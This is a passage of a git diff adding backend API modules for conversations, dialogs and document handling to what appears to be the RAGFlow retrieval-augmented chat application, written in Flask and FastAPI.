+ for id in sres.ids[:2]:
+ ty = sres.field[id]["knowledge_graph_kwd"]
+ try:
+ content_json = json.loads(sres.field[id]["content_with_weight"])
+ except Exception:
+ continue
+
+ if ty == 'mind_map':
+ node_dict = {}
+
+ def repeat_deal(content_json, node_dict):
+ if 'id' in content_json:
+ if content_json['id'] in node_dict:
+ node_name = content_json['id']
+ content_json['id'] += f"({node_dict[content_json['id']]})"
+ node_dict[node_name] += 1
+ else:
+ node_dict[content_json['id']] = 1
+ if 'children' in content_json and content_json['children']:
+ for item in content_json['children']:
+ repeat_deal(item, node_dict)
+
+ repeat_deal(content_json, node_dict)
+
+ obj[ty] = content_json
+
+ return get_json_result(data=obj)
diff --git a/api/apps/conversation_app.py b/api/apps/conversation_app.py
new file mode 100644
index 0000000..48b9a15
--- /dev/null
+++ b/api/apps/conversation_app.py
@@ -0,0 +1,419 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+import re
+import logging
+from copy import deepcopy
+from flask import Response, request
+from flask_login import current_user, login_required
+from api import settings
+from api.db import LLMType
+from api.db.db_models import APIToken
+from api.db.services.conversation_service import ConversationService, structure_answer
+from api.db.services.dialog_service import DialogService, ask, chat, gen_mindmap
+from api.db.services.llm_service import LLMBundle
+from api.db.services.search_service import SearchService
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.user_service import TenantService, UserTenantService
+from api.utils.api_utils import get_data_error_result, get_json_result, server_error_response, validate_request
+from rag.prompts.template import load_prompt
+from rag.prompts.generator import chunks_format
+
+
+@manager.route("/set", methods=["POST"]) # noqa: F821
+@login_required
+def set_conversation():
+ req = request.json
+ conv_id = req.get("conversation_id")
+ is_new = req.get("is_new")
+ name = req.get("name", "New conversation")
+ req["user_id"] = current_user.id
+
+ if len(name) > 255:
+ name = name[0:255]
+
+ del req["is_new"]
+ if not is_new:
+ del req["conversation_id"]
+ try:
+ if not ConversationService.update_by_id(conv_id, req):
+ return get_data_error_result(message="Conversation not found!")
+ e, conv = ConversationService.get_by_id(conv_id)
+ if not e:
+ return get_data_error_result(message="Fail to update a conversation!")
+ conv = conv.to_dict()
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+ try:
+ e, dia = DialogService.get_by_id(req["dialog_id"])
+ if not e:
+ return get_data_error_result(message="Dialog not found")
+ conv = {
+ "id": conv_id,
+ "dialog_id": req["dialog_id"],
+ "name": name,
+ "message": [{"role": "assistant", "content": dia.prompt_config["prologue"]}],
+ "user_id": current_user.id,
+ "reference": [],
+ }
+ ConversationService.save(**conv)
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/get", methods=["GET"]) # noqa: F821
+@login_required
+def get():
+ conv_id = request.args["conversation_id"]
+ try:
+ e, conv = ConversationService.get_by_id(conv_id)
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+ tenants = UserTenantService.query(user_id=current_user.id)
+ avatar = None
+ for tenant in tenants:
+ dialog = DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id)
+ if dialog and len(dialog) > 0:
+ avatar = dialog[0].icon
+ break
+ else:
+ return get_json_result(data=False, message="Only owner of conversation authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+
+ for ref in conv.reference:
+ if isinstance(ref, list):
+ continue
+ ref["chunks"] = chunks_format(ref)
+
+ conv = conv.to_dict()
+ conv["avatar"] = avatar
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/getsse/", methods=["GET"]) # type: ignore # noqa: F821
+def getsse(dialog_id):
+ token = request.headers.get("Authorization").split()
+ if len(token) != 2:
+ return get_data_error_result(message='Authorization is not valid!"')
+ token = token[1]
+ objs = APIToken.query(beta=token)
+ if not objs:
+ return get_data_error_result(message='Authentication error: API key is invalid!"')
+ try:
+ e, conv = DialogService.get_by_id(dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found!")
+ conv = conv.to_dict()
+ conv["avatar"] = conv["icon"]
+ del conv["icon"]
+ return get_json_result(data=conv)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/rm", methods=["POST"]) # noqa: F821
+@login_required
+def rm():
+ conv_ids = request.json["conversation_ids"]
+ try:
+ for cid in conv_ids:
+ exist, conv = ConversationService.get_by_id(cid)
+ if not exist:
+ return get_data_error_result(message="Conversation not found!")
+ tenants = UserTenantService.query(user_id=current_user.id)
+ for tenant in tenants:
+ if DialogService.query(tenant_id=tenant.tenant_id, id=conv.dialog_id):
+ break
+ else:
+ return get_json_result(data=False, message="Only owner of conversation authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+ ConversationService.delete_by_id(cid)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/list", methods=["GET"]) # noqa: F821
+@login_required
+def list_conversation():
+ dialog_id = request.args["dialog_id"]
+ try:
+ if not DialogService.query(tenant_id=current_user.id, id=dialog_id):
+ return get_json_result(data=False, message="Only owner of dialog authorized for this operation.", code=settings.RetCode.OPERATING_ERROR)
+ convs = ConversationService.query(dialog_id=dialog_id, order_by=ConversationService.model.create_time, reverse=True)
+
+ convs = [d.to_dict() for d in convs]
+ return get_json_result(data=convs)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/completion", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("conversation_id", "messages")
+def completion():
+ req = request.json
+ msg = []
+ for m in req["messages"]:
+ if m["role"] == "system":
+ continue
+ if m["role"] == "assistant" and not msg:
+ continue
+ msg.append(m)
+ message_id = msg[-1].get("id")
+ chat_model_id = req.get("llm_id", "")
+ req.pop("llm_id", None)
+
+ chat_model_config = {}
+ for model_config in [
+ "temperature",
+ "top_p",
+ "frequency_penalty",
+ "presence_penalty",
+ "max_tokens",
+ ]:
+ config = req.get(model_config)
+ if config:
+ chat_model_config[model_config] = config
+
+ try:
+ e, conv = ConversationService.get_by_id(req["conversation_id"])
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+ conv.message = deepcopy(req["messages"])
+ e, dia = DialogService.get_by_id(conv.dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found!")
+ del req["conversation_id"]
+ del req["messages"]
+
+ if not conv.reference:
+ conv.reference = []
+ conv.reference = [r for r in conv.reference if r]
+ conv.reference.append({"chunks": [], "doc_aggs": []})
+
+ if chat_model_id:
+ if not TenantLLMService.get_api_key(tenant_id=dia.tenant_id, model_name=chat_model_id):
+ req.pop("chat_model_id", None)
+ req.pop("chat_model_config", None)
+ return get_data_error_result(message=f"Cannot use specified model {chat_model_id}.")
+ dia.llm_id = chat_model_id
+ dia.llm_setting = chat_model_config
+
+ is_embedded = bool(chat_model_id)
+ def stream():
+ nonlocal dia, msg, req, conv
+ try:
+ for ans in chat(dia, msg, True, **req):
+ ans = structure_answer(conv, ans, message_id, conv.id)
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+ if not is_embedded:
+ ConversationService.update_by_id(conv.id, conv.to_dict())
+ except Exception as e:
+ logging.exception(e)
+ yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ if req.get("stream", True):
+ resp = Response(stream(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+ else:
+ answer = None
+ for ans in chat(dia, msg, **req):
+ answer = structure_answer(conv, ans, message_id, conv.id)
+ if not is_embedded:
+ ConversationService.update_by_id(conv.id, conv.to_dict())
+ break
+ return get_json_result(data=answer)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route("/tts", methods=["POST"]) # noqa: F821
+@login_required
+def tts():
+ req = request.json
+ text = req["text"]
+
+ tenants = TenantService.get_info_by(current_user.id)
+ if not tenants:
+ return get_data_error_result(message="Tenant not found!")
+
+ tts_id = tenants[0]["tts_id"]
+ if not tts_id:
+ return get_data_error_result(message="No default TTS model is set")
+
+ tts_mdl = LLMBundle(tenants[0]["tenant_id"], LLMType.TTS, tts_id)
+
+ def stream_audio():
+ try:
+ for txt in re.split(r"[,。/《》?;:!\n\r:;]+", text):
+ for chunk in tts_mdl.tts(txt):
+ yield chunk
+ except Exception as e:
+ yield ("data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e)}}, ensure_ascii=False)).encode("utf-8")
+
+ resp = Response(stream_audio(), mimetype="audio/mpeg")
+ resp.headers.add_header("Cache-Control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+
+ return resp
+
+
+@manager.route("/delete_msg", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("conversation_id", "message_id")
+def delete_msg():
+ req = request.json
+ e, conv = ConversationService.get_by_id(req["conversation_id"])
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+
+ conv = conv.to_dict()
+ for i, msg in enumerate(conv["message"]):
+ if req["message_id"] != msg.get("id", ""):
+ continue
+ assert conv["message"][i + 1]["id"] == req["message_id"]
+ conv["message"].pop(i)
+ conv["message"].pop(i)
+ conv["reference"].pop(max(0, i // 2 - 1))
+ break
+
+ ConversationService.update_by_id(conv["id"], conv)
+ return get_json_result(data=conv)
+
+
+@manager.route("/thumbup", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("conversation_id", "message_id")
+def thumbup():
+ req = request.json
+ e, conv = ConversationService.get_by_id(req["conversation_id"])
+ if not e:
+ return get_data_error_result(message="Conversation not found!")
+ up_down = req.get("thumbup")
+ feedback = req.get("feedback", "")
+ conv = conv.to_dict()
+ for i, msg in enumerate(conv["message"]):
+ if req["message_id"] == msg.get("id", "") and msg.get("role", "") == "assistant":
+ if up_down:
+ msg["thumbup"] = True
+ if "feedback" in msg:
+ del msg["feedback"]
+ else:
+ msg["thumbup"] = False
+ if feedback:
+ msg["feedback"] = feedback
+ break
+
+ ConversationService.update_by_id(conv["id"], conv)
+ return get_json_result(data=conv)
+
+
+@manager.route("/ask", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("question", "kb_ids")
+def ask_about():
+ req = request.json
+ uid = current_user.id
+
+ search_id = req.get("search_id", "")
+ search_app = None
+ search_config = {}
+ if search_id:
+ search_app = SearchService.get_detail(search_id)
+ if search_app:
+ search_config = search_app.get("search_config", {})
+
+ def stream():
+ nonlocal req, uid
+ try:
+ for ans in ask(req["question"], req["kb_ids"], uid, search_config=search_config):
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": ans}, ensure_ascii=False) + "\n\n"
+ except Exception as e:
+ yield "data:" + json.dumps({"code": 500, "message": str(e), "data": {"answer": "**ERROR**: " + str(e), "reference": []}}, ensure_ascii=False) + "\n\n"
+ yield "data:" + json.dumps({"code": 0, "message": "", "data": True}, ensure_ascii=False) + "\n\n"
+
+ resp = Response(stream(), mimetype="text/event-stream")
+ resp.headers.add_header("Cache-control", "no-cache")
+ resp.headers.add_header("Connection", "keep-alive")
+ resp.headers.add_header("X-Accel-Buffering", "no")
+ resp.headers.add_header("Content-Type", "text/event-stream; charset=utf-8")
+ return resp
+
+
+@manager.route("/mindmap", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("question", "kb_ids")
+def mindmap():
+ req = request.json
+ search_id = req.get("search_id", "")
+ search_app = SearchService.get_detail(search_id) if search_id else {}
+ search_config = search_app.get("search_config", {}) if search_app else {}
+ kb_ids = search_config.get("kb_ids", [])
+ kb_ids.extend(req["kb_ids"])
+ kb_ids = list(set(kb_ids))
+
+ mind_map = gen_mindmap(req["question"], kb_ids, search_app.get("tenant_id", current_user.id), search_config)
+ if "error" in mind_map:
+ return server_error_response(Exception(mind_map["error"]))
+ return get_json_result(data=mind_map)
+
+
+@manager.route("/related_questions", methods=["POST"]) # noqa: F821
+@login_required
+@validate_request("question")
+def related_questions():
+ req = request.json
+
+ search_id = req.get("search_id", "")
+ search_config = {}
+ if search_id:
+ if search_app := SearchService.get_detail(search_id):
+ search_config = search_app.get("search_config", {})
+
+ question = req["question"]
+
+ chat_id = search_config.get("chat_id", "")
+ chat_mdl = LLMBundle(current_user.id, LLMType.CHAT, chat_id)
+
+ gen_conf = search_config.get("llm_setting", {"temperature": 0.9})
+ if "parameter" in gen_conf:
+ del gen_conf["parameter"]
+ prompt = load_prompt("related_question")
+ ans = chat_mdl.chat(
+ prompt,
+ [
+ {
+ "role": "user",
+ "content": f"""
+Keywords: {question}
+Related search terms:
+ """,
+ }
+ ],
+ gen_conf,
+ )
+ return get_json_result(data=[re.sub(r"^[0-9]\. ", "", a) for a in ans.split("\n") if re.match(r"^[0-9]\. ", a)])
diff --git a/api/apps/dialog_app.py b/api/apps/dialog_app.py
new file mode 100644
index 0000000..e7f1e06
--- /dev/null
+++ b/api/apps/dialog_app.py
@@ -0,0 +1,227 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+from flask import request
+from flask_login import login_required, current_user
+from api.db.services import duplicate_name
+from api.db.services.dialog_service import DialogService
+from api.db import StatusEnum
+from api.db.services.tenant_llm_service import TenantLLMService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.user_service import TenantService, UserTenantService
+from api import settings
+from api.utils.api_utils import server_error_response, get_data_error_result, validate_request
+from api.utils import get_uuid
+from api.utils.api_utils import get_json_result
+
+
+@manager.route('/set', methods=['POST']) # noqa: F821
+@validate_request("prompt_config")
+@login_required
+def set_dialog():
+ req = request.json
+ dialog_id = req.get("dialog_id", "")
+ is_create = not dialog_id
+ name = req.get("name", "New Dialog")
+ if not isinstance(name, str):
+ return get_data_error_result(message="Dialog name must be string.")
+ if name.strip() == "":
+ return get_data_error_result(message="Dialog name can't be empty.")
+ if len(name.encode("utf-8")) > 255:
+ return get_data_error_result(message=f"Dialog name length is {len(name)} which is larger than 255")
+
+ if is_create and DialogService.query(tenant_id=current_user.id, name=name.strip()):
+ name = name.strip()
+ name = duplicate_name(
+ DialogService.query,
+ name=name,
+ tenant_id=current_user.id,
+ status=StatusEnum.VALID.value)
+
+ description = req.get("description", "A helpful dialog")
+ icon = req.get("icon", "")
+ top_n = req.get("top_n", 6)
+ top_k = req.get("top_k", 1024)
+ rerank_id = req.get("rerank_id", "")
+ if not rerank_id:
+ req["rerank_id"] = ""
+ similarity_threshold = req.get("similarity_threshold", 0.1)
+ vector_similarity_weight = req.get("vector_similarity_weight", 0.3)
+ llm_setting = req.get("llm_setting", {})
+ meta_data_filter = req.get("meta_data_filter", {})
+ prompt_config = req["prompt_config"]
+
+ if not is_create:
+ if not req.get("kb_ids", []) and not prompt_config.get("tavily_api_key") and "{knowledge}" in prompt_config['system']:
+ return get_data_error_result(message="Please remove `{knowledge}` in system prompt since no knowledge base / Tavily used here.")
+
+ for p in prompt_config["parameters"]:
+ if p["optional"]:
+ continue
+ if prompt_config["system"].find("{%s}" % p["key"]) < 0:
+ return get_data_error_result(
+ message="Parameter '{}' is not used".format(p["key"]))
+
+ try:
+ e, tenant = TenantService.get_by_id(current_user.id)
+ if not e:
+ return get_data_error_result(message="Tenant not found!")
+ kbs = KnowledgebaseService.get_by_ids(req.get("kb_ids", []))
+ embd_ids = [TenantLLMService.split_model_name_and_factory(kb.embd_id)[0] for kb in kbs] # remove vendor suffix for comparison
+ embd_count = len(set(embd_ids))
+ if embd_count > 1:
+ return get_data_error_result(message=f'Datasets use different embedding models: {[kb.embd_id for kb in kbs]}"')
+
+ llm_id = req.get("llm_id", tenant.llm_id)
+ if not dialog_id:
+ dia = {
+ "id": get_uuid(),
+ "tenant_id": current_user.id,
+ "name": name,
+ "kb_ids": req.get("kb_ids", []),
+ "description": description,
+ "llm_id": llm_id,
+ "llm_setting": llm_setting,
+ "prompt_config": prompt_config,
+ "meta_data_filter": meta_data_filter,
+ "top_n": top_n,
+ "top_k": top_k,
+ "rerank_id": rerank_id,
+ "similarity_threshold": similarity_threshold,
+ "vector_similarity_weight": vector_similarity_weight,
+ "icon": icon
+ }
+ if not DialogService.save(**dia):
+ return get_data_error_result(message="Fail to new a dialog!")
+ return get_json_result(data=dia)
+ else:
+ del req["dialog_id"]
+ if "kb_names" in req:
+ del req["kb_names"]
+ if not DialogService.update_by_id(dialog_id, req):
+ return get_data_error_result(message="Dialog not found!")
+ e, dia = DialogService.get_by_id(dialog_id)
+ if not e:
+ return get_data_error_result(message="Fail to update a dialog!")
+ dia = dia.to_dict()
+ dia.update(req)
+ dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
+ return get_json_result(data=dia)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/get', methods=['GET']) # noqa: F821
+@login_required
+def get():
+ dialog_id = request.args["dialog_id"]
+ try:
+ e, dia = DialogService.get_by_id(dialog_id)
+ if not e:
+ return get_data_error_result(message="Dialog not found!")
+ dia = dia.to_dict()
+ dia["kb_ids"], dia["kb_names"] = get_kb_names(dia["kb_ids"])
+ return get_json_result(data=dia)
+ except Exception as e:
+ return server_error_response(e)
+
+
+def get_kb_names(kb_ids):
+ ids, nms = [], []
+ for kid in kb_ids:
+ e, kb = KnowledgebaseService.get_by_id(kid)
+ if not e or kb.status != StatusEnum.VALID.value:
+ continue
+ ids.append(kid)
+ nms.append(kb.name)
+ return ids, nms
+
+
+@manager.route('/list', methods=['GET']) # noqa: F821
+@login_required
+def list_dialogs():
+ try:
+ diags = DialogService.query(
+ tenant_id=current_user.id,
+ status=StatusEnum.VALID.value,
+ reverse=True,
+ order_by=DialogService.model.create_time)
+ diags = [d.to_dict() for d in diags]
+ for d in diags:
+ d["kb_ids"], d["kb_names"] = get_kb_names(d["kb_ids"])
+ return get_json_result(data=diags)
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/next', methods=['POST']) # noqa: F821
+@login_required
+def list_dialogs_next():
+ keywords = request.args.get("keywords", "")
+ page_number = int(request.args.get("page", 0))
+ items_per_page = int(request.args.get("page_size", 0))
+ parser_id = request.args.get("parser_id")
+ orderby = request.args.get("orderby", "create_time")
+ if request.args.get("desc", "true").lower() == "false":
+ desc = False
+ else:
+ desc = True
+
+ req = request.get_json()
+ owner_ids = req.get("owner_ids", [])
+ try:
+ if not owner_ids:
+ # tenants = TenantService.get_joined_tenants_by_user_id(current_user.id)
+ # tenants = [tenant["tenant_id"] for tenant in tenants]
+ tenants = [] # keep it here
+ dialogs, total = DialogService.get_by_tenant_ids(
+ tenants, current_user.id, page_number,
+ items_per_page, orderby, desc, keywords, parser_id)
+ else:
+ tenants = owner_ids
+ dialogs, total = DialogService.get_by_tenant_ids(
+ tenants, current_user.id, 0,
+ 0, orderby, desc, keywords, parser_id)
+ dialogs = [dialog for dialog in dialogs if dialog["tenant_id"] in tenants]
+ total = len(dialogs)
+ if page_number and items_per_page:
+ dialogs = dialogs[(page_number-1)*items_per_page:page_number*items_per_page]
+ return get_json_result(data={"dialogs": dialogs, "total": total})
+ except Exception as e:
+ return server_error_response(e)
+
+
+@manager.route('/rm', methods=['POST']) # noqa: F821
+@login_required
+@validate_request("dialog_ids")
+def rm():
+ req = request.json
+ dialog_list=[]
+ tenants = UserTenantService.query(user_id=current_user.id)
+ try:
+ for id in req["dialog_ids"]:
+ for tenant in tenants:
+ if DialogService.query(tenant_id=tenant.tenant_id, id=id):
+ break
+ else:
+ return get_json_result(
+ data=False, message='Only owner of dialog authorized for this operation.',
+ code=settings.RetCode.OPERATING_ERROR)
+ dialog_list.append({"id": id,"status":StatusEnum.INVALID.value})
+ DialogService.update_many_by_id(dialog_list)
+ return get_json_result(data=True)
+ except Exception as e:
+ return server_error_response(e)
diff --git a/api/apps/document_app.py b/api/apps/document_app.py
new file mode 100644
index 0000000..e314681
--- /dev/null
+++ b/api/apps/document_app.py
@@ -0,0 +1,873 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License
+#
+import json
+import os.path
+import pathlib
+import re
+import traceback
+from pathlib import Path
+from typing import List, Optional
+
+from fastapi import APIRouter, Depends, File, Form, HTTPException, UploadFile, Query
+from fastapi.responses import StreamingResponse
+from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials
+
+from api import settings
+from api.common.check_team_permission import check_kb_team_permission
+from api.constants import FILE_NAME_LEN_LIMIT, IMG_BASE64_PREFIX
+from api.db import VALID_FILE_TYPES, VALID_TASK_STATUS, FileSource, FileType, ParserType, TaskStatus
+from api.db.db_models import File, Task
+from api.db.services import duplicate_name
+from api.db.services.document_service import DocumentService, doc_upload_and_parse
+from api.db.services.file2document_service import File2DocumentService
+from api.db.services.file_service import FileService
+from api.db.services.knowledgebase_service import KnowledgebaseService
+from api.db.services.task_service import TaskService, cancel_all_task_of, queue_tasks, queue_dataflow
+from api.db.services.user_service import UserTenantService
+from api.utils import get_uuid
+from api.utils.api_utils import (
+ get_data_error_result,
+ get_json_result,
+ server_error_response,
+ validate_request,
+)
+from api.utils.file_utils import filename_type, get_project_base_directory, thumbnail
+from api.utils.web_utils import CONTENT_TYPE_MAP, html2pdf, is_valid_url
+from deepdoc.parser.html_parser import RAGFlowHtmlParser
+from rag.nlp import search
+from rag.utils.storage_factory import STORAGE_IMPL
+from pydantic import BaseModel
+from api.db.db_models import User
+
+# Security
+security = HTTPBearer()
+
+# Pydantic models for request/response
+class WebCrawlRequest(BaseModel):
+ kb_id: str
+ name: str
+ url: str
+
+class CreateDocumentRequest(BaseModel):
+ name: str
+ kb_id: str
+
+class DocumentListRequest(BaseModel):
+ run_status: List[str] = []
+ types: List[str] = []
+ suffix: List[str] = []
+
+class DocumentFilterRequest(BaseModel):
+ kb_id: str
+ keywords: str = ""
+ run_status: List[str] = []
+ types: List[str] = []
+ suffix: List[str] = []
+
+class DocumentInfosRequest(BaseModel):
+ doc_ids: List[str]
+
+class ChangeStatusRequest(BaseModel):
+ doc_ids: List[str]
+ status: str
+
+class RemoveDocumentRequest(BaseModel):
+ doc_id: List[str]
+
+class RunDocumentRequest(BaseModel):
+ doc_ids: List[str]
+ run: str
+ delete: bool = False
+
+class RenameDocumentRequest(BaseModel):
+ doc_id: str
+ name: str
+
+class ChangeParserRequest(BaseModel):
+ doc_id: str
+ parser_id: str
+ pipeline_id: Optional[str] = None
+ parser_config: Optional[dict] = None
+
+class UploadAndParseRequest(BaseModel):
+ conversation_id: str
+
+class ParseRequest(BaseModel):
+ url: Optional[str] = None
+
+class SetMetaRequest(BaseModel):
+ doc_id: str
+ meta: str
+
+
+# Dependency injection
+async def get_current_user(credentials: HTTPAuthorizationCredentials = Depends(security)):
+ """获取当前用户"""
+ from api.db import StatusEnum
+ from api.db.services.user_service import UserService
+ from fastapi import HTTPException, status
+ import logging
+
+ try:
+ from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer
+ except ImportError:
+ # 如果没有itsdangerous,使用jwt作为替代
+ import jwt
+ Serializer = jwt
+
+ jwt = Serializer(secret_key=settings.SECRET_KEY)
+ authorization = credentials.credentials
+
+ if authorization:
+ try:
+ access_token = str(jwt.loads(authorization))
+
+ if not access_token or not access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authentication attempt with empty access token"
+ )
+
+ # Access tokens should be UUIDs (32 hex characters)
+ if len(access_token.strip()) < 32:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"Authentication attempt with invalid token format: {len(access_token)} chars"
+ )
+
+ user = UserService.query(
+ access_token=access_token, status=StatusEnum.VALID.value
+ )
+ if user:
+ if not user[0].access_token or not user[0].access_token.strip():
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail=f"User {user[0].email} has empty access_token in database"
+ )
+ return user[0]
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ except Exception as e:
+ logging.warning(f"load_user got exception {e}")
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Invalid access token"
+ )
+ else:
+ raise HTTPException(
+ status_code=status.HTTP_401_UNAUTHORIZED,
+ detail="Authorization header required"
+ )
+
+# Create router
+router = APIRouter()
+
+
+@router.post("/upload")
+async def upload(
+ kb_id: str = Form(...),
+ files: List[UploadFile] = File(...),
+ current_user = Depends(get_current_user)
+):
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+
+ if not files:
+ return get_json_result(data=False, message="No file part!", code=settings.RetCode.ARGUMENT_ERROR)
+
+ # Use UploadFile directly
+ file_objs = files
+
+ for file_obj in file_objs:
+ if file_obj.filename == "":
+ return get_json_result(data=False, message="No file selected!", code=settings.RetCode.ARGUMENT_ERROR)
+ if len(file_obj.filename.encode("utf-8")) > FILE_NAME_LEN_LIMIT:
+ return get_json_result(data=False, message=f"File name must be {FILE_NAME_LEN_LIMIT} bytes or less.", code=settings.RetCode.ARGUMENT_ERROR)
+
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ raise LookupError("Can't find this knowledgebase!")
+ if not check_kb_team_permission(kb, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ err, files = await FileService.upload_document(kb, file_objs, current_user.id)
+ if err:
+ return get_json_result(data=files, message="\n".join(err), code=settings.RetCode.SERVER_ERROR)
+
+ if not files:
+ return get_json_result(data=files, message="There seems to be an issue with your file format. Please verify it is correct and not corrupted.", code=settings.RetCode.DATA_ERROR)
+ files = [f[0] for f in files] # remove the blob
+
+ return get_json_result(data=files)
+
+
+@router.post("/web_crawl")
+async def web_crawl(
+ req: WebCrawlRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = req.kb_id
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
+ name = req.name
+ url = req.url
+ if not is_valid_url(url):
+ return get_json_result(data=False, message="The URL format is invalid", code=settings.RetCode.ARGUMENT_ERROR)
+ e, kb = KnowledgebaseService.get_by_id(kb_id)
+ if not e:
+ raise LookupError("Can't find this knowledgebase!")
+ if not check_kb_team_permission(kb, current_user.id):
+ return get_json_result(data=False, message="No authorization.", code=settings.RetCode.AUTHENTICATION_ERROR)
+
+ blob = html2pdf(url)
+ if not blob:
+ return server_error_response(ValueError("Download failure."))
+
+ root_folder = FileService.get_root_folder(current_user.id)
+ pf_id = root_folder["id"]
+ FileService.init_knowledgebase_docs(pf_id, current_user.id)
+ kb_root_folder = FileService.get_kb_folder(current_user.id)
+ kb_folder = FileService.new_a_file_from_kb(kb.tenant_id, kb.name, kb_root_folder["id"])
+
+ try:
+ filename = duplicate_name(DocumentService.query, name=name + ".pdf", kb_id=kb.id)
+ filetype = filename_type(filename)
+ if filetype == FileType.OTHER.value:
+ raise RuntimeError("This type of file has not been supported yet!")
+
+ location = filename
+ while STORAGE_IMPL.obj_exist(kb_id, location):
+ location += "_"
+ STORAGE_IMPL.put(kb_id, location, blob)
+ doc = {
+ "id": get_uuid(),
+ "kb_id": kb.id,
+ "parser_id": kb.parser_id,
+ "parser_config": kb.parser_config,
+ "created_by": current_user.id,
+ "type": filetype,
+ "name": filename,
+ "location": location,
+ "size": len(blob),
+ "thumbnail": thumbnail(filename, blob),
+ "suffix": Path(filename).suffix.lstrip("."),
+ }
+ if doc["type"] == FileType.VISUAL:
+ doc["parser_id"] = ParserType.PICTURE.value
+ if doc["type"] == FileType.AURAL:
+ doc["parser_id"] = ParserType.AUDIO.value
+ if re.search(r"\.(ppt|pptx|pages)$", filename):
+ doc["parser_id"] = ParserType.PRESENTATION.value
+ if re.search(r"\.(eml)$", filename):
+ doc["parser_id"] = ParserType.EMAIL.value
+ DocumentService.insert(doc)
+ FileService.add_file_from_kb(doc, kb_folder["id"], kb.tenant_id)
+ except Exception as e:
+ return server_error_response(e)
+ return get_json_result(data=True)
+
+
+@router.post("/create")
+async def create(
+ req: CreateDocumentRequest,
+ current_user = Depends(get_current_user)
+):
+ kb_id = req.kb_id
+ if not kb_id:
+ return get_json_result(data=False, message='Lack of "KB ID"', code=settings.RetCode.ARGUMENT_ERROR)
